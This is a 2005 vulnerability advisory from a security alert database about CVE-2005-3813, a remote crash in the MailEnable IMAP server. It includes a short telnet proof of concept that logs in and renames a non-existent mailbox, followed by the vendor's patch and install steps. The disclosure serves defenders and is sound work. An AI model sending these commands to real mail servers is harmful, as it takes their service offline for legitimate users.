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Home arrow SecurityAlert Database

Arrow  Topic :

MailEnable IMAP DOS


Arrow  SecurityAlert : 205
Arrow  CVE : CVE-2005-3813
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Given : Yes
Arrow  Credit : Josh Zlatin
Arrow  Published : 25.11.2005

Arrow  Affected Software : MailEnable Pro 1.7
MailEnable Enterprise 1.1



Arrow  Advisory Text :  

Synopsis: MailEnable Imap Remote DOS.

Product: MailEnable Pro
MailEnable Enterprise
http://www.mailenable.com

Version: Confirmed on MailEnable Pro 1.7 and MailEnable Enterprise 1.1

Author: Josh Zlatin-Amishav

Date: November 24, 2005

Background:
MailEnable's mail server software provides a powerful, scalable hosted
messaging platform for Microsoft Windows. MailEnable offers stability,
unsurpassed flexibility and an extensive feature set which allows you to
provide cost-effective mail services.

Issue:
In working with researchers at Tenable Network Security, I have come
across
a Denial of Service attack in the MailEnable Pro and MailEnable Enterprise
IMAP server. It is possible to remotely crash the IMAP server by sending a

rename request with non existant mailbox names

PoC:
telnet localhost 143
a1 login josh byebye
a2 rename foo bar

where josh and byebye are the login credentials for an existing mailbox.

Vendor notified: November 24, 2005 10:50AM
Patch released: November 24, 2005 13:28PM

Solution:
Download patch from: http://www.mailenable.com/hotfix/MEIMAPS.ZIP

To install:
1) Stop the IMAP service
2) Rename the MEIMAPS.EXE file in the Mail Enablebin directory as this
will
allow you to roll back this fix
3) Extract the zip file from the URL above to the Mail Enablebin directory
4) Start the IMAP service

References: http://zur.homelinux.com/Advisories/MailEnableImapDos.txt



Arrow  Feedback :

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